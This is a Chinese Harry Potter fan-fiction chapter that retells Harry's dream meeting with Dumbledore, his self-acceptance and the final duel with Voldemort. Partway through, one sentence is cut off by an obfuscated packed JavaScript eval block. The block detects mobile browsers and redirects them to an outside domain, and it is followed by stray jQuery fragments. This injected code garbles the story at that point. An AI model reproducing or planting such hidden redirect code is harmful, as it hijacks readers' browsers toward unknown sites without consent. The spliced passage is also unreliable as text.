哈利俯身抱了抱坐在前方的老人。老人的胡须轻扫过他的面颊,是不曾说出口的留连,是欣慰,是骄傲。 “先生,我想,或许又到了和你道别的时候了。” 在闭上眼睛之前,哈利最后一次凝视那双注视过自己无数次的蓝眼睛: “告诉我教授,这一次是真事吗?还是发生在我脑子里的事?” “当然是发生在你脑子里的事,哈利,但为什么那就意味着这不是真的呢?” 没有幻觉。 没有复活石。 没有两个哈利。 一切的一切都只是最后一个魂器被消灭之后,哈利内心的翻涌。他在白茫茫里见到他的老师,他的老师揭开棋局上的真相。远方驶过来一辆呜咽的列车,于是茫茫然地,苦闷闷地,他带着满心的复杂走上车厢。他怨怼,他不解,他伤心。 他不明白那么沉重的使命为什么需要他哈利来背。 于是他编织出意识的囚笼,放任自己遁逃期间,沉湎生活的另一种可能。善与恶纠葛期间,硬币旋转,不知去与留。 在那条未选择的路上,沿途开着一丛又一丛郁金,黑暗中遍生着琉璃树:那是反方向的雨,一滴一滴回到天空里。 所以有人来,有人粗暴而温柔地闯进他那被泡的泛白的意识体,撕扯出一团又一团的浓雾,遵循着潜意识的指引陪伴那个躲在迷宫里的他。他们并不打伞,只是陪他淋一场雨,漉漉的潮潮的,升起一轮银白色的太阳。 就这样任由自然闯过一遭又一遭,逐渐从更深层的意识里醒来的哈利终于发现,一开始徘徊胸腔的各种复杂其实只需要用一个词作解: 那是他内心的自卑。 他自卑:他心中的恶是否有可能作祟。 他自卑:偶然是否压过必然,他是否注定成为他,而不是与他境遇相似的汤姆·里德尔。 他自卑:他是否真正学会了爱与被爱。 他是否能接受百分之一百的自己。 泪与血面前,他是否拥有足够肯定的坚强。 回去吧,哈利。 回到战斗中的伙伴们身边去。 或许现实生活就是这样的,每天都要在报纸里或者同伴的讲述里遇见战火里的创口,触目惊心;或许一切的抵抗终归于徒劳,他所爱的世界最后还是要回到霍格沃茨的第七年里去。 但他不害怕。 但他不畏惧。 也许他的一点绵薄之力在伏地魔面前只是石头上擦出的花火、打水飘形成的涟漪;也许他会终生背负着同伴泪水的沉重,担起被众人期望的执着。但他要继续冒险,继续向前,继续握紧他的魔杖,和一切邪恶的不公的黑暗的斗争,和一切彷徨的犹疑的不知所措的共生。他拒绝心中的善被不善践踏,他拒绝心中的非恶被恶恐吓。他接受善的阴暗面,他接纳非恶的对立面,他包容百分之一百的自己,并将带着这个自己,继续他的战斗。 白雾向他聚拢,那些欢喜那些高兴在他的周遭起舞。形不单,德不孤,所以无论发生什么,即使表面略显慌张,他也有安定踏实的内心,足够闯过一场不确定的火,收拾出响当当的确定:确定他一定会走出那条又黑又长的隧道,到达他期望抵达的码头,在那里沿石阶而上,走向大门背后的希望;确定雄心壮志与爱人情怀一样永远无法割舍,确定那些赋予他生命意义的东西将不再被遗忘;他确定他已经穿过为春天等待冬天的常春藤帐幔,穿过刀削斧刻的造化里生生立起的峭壁高墙;他确定漆黑的湖水上去有一艘等待渡他的小船,他终将乘小船沿月华而上,破万千迷障,荡漾在璀璨星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193150|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。 循此旅,纵孤寂,终达天际。 哈利闭上眼睛。在他闭上眼睛的这几秒钟,数以千计的银光从他的背后飞过他的头顶,飞向远方的眺望。那里有无穷的远方,无数的人们,无限的关切。 邓布利多站在身影逐渐变淡的哈利身后,眼睛湿润,嘴唇微扬。他喃喃: “原来这就是爱的魔法。” …… …… …… 哈利从草坪醒来,地皮摩擦着他的脸颊。 他听见纳西沙的声音: “德拉科还活着吗?他在城堡里吗?” 他听见伏地魔的讥笑: “现在,我们到城堡去,让他们看看他们的英雄的样子!” 他感受到海格把他抱起,巨人的泪捕捉了哈利的睫毛。 他听见了麦格教授的尖叫: “不——” 然后是罗恩赫敏等幸存者的呼告: “哈利!哈利!” 他听见韦斯莱夫人的咆哮: “再也———不许———你———碰———我的———孩子! 他听见金属掠过空气的声音:那是纳威,从分院帽里拔出格兰芬多宝剑的纳威,他终于克服他的渺小,那个老太太或许也会为他骄傲。 家养小精灵在克利切的带领里挥舞着餐刀冲出了厨房,被海格训斥过的马人冲进了礼堂,夜骐和巴克比克飞离了禁林。人、精灵、魔法生物忘却了种族,忘却了偏见,他们的眼睛在无暇的此刻忘记去挑剔不同,共同的敌人把他们牢牢团结在一起。 就像幻觉世界里的狮子、蛇、獾、鹰。 流水轻柔地淌过哈利的身体,那件爸爸留给他的隐形衣被他从袍子里拿出披在身上。他在混战的人群中游走,时不时拔出魔杖发射恶咒和魔咒,帮助那些与敌人对抗的同窗。 最后的最后,在伏地魔的魔咒射向韦斯莱夫人之前,他一把揭开隐形衣: “盔甲护身!” 在人群爆发的欢呼里,他的魔杖指向伏地魔。 “必须是这样,必须是我。” 一个人坚定,一个人犹疑;一个人和自己的影子拥抱在一起,一个人只剩地面上的影子。 “除你武器!” 一道绿光,一道红光,恶意消,善意长,离他们最近的窗台上露出小半轮耀眼的太阳,金红色的光芒盛开在所有人眼底。这个世界里再看不见白色的雾气,被拦在禁林之外的摄魂怪迅速地退去,它们曾经出现的地方开出一朵又一朵鲜花,从此缤纷替代了冷漠,欢喜替代了恐惧。这里没有嘶吼,这里不再有叫嚣,老魔杖在空中飞舞,打着旋儿飞向他真正的主人。 寂静。无边的寂静。 就像有人刚刚被从梦中叫醒,揉着眼睛适应突然到来的天光。 闭眼,睁眼,大梦方醒,黑夜已与白昼交替。 寂静之后,排山倒海而来无数喧哗、喊叫、欢呼、咆哮。太阳在霍格沃茨升起,天空被染成瑰丽的金黄,世界处处洋溢着鲜活的光明。远远望去,那太阳浑圆庄严,就好像天空上粘着一枚足够金灿灿的硬币———只需要知道那是硬币就够了,谁管哪面朝上。 哈利闭上眼睛,他似乎经历了什么事情,又忘记了什么经历。有什么不一样了,他知道。 比如他的手伸进袍子,摸到了一张糖纸。 …… …… 通往霍格沃茨的火车不会错轨。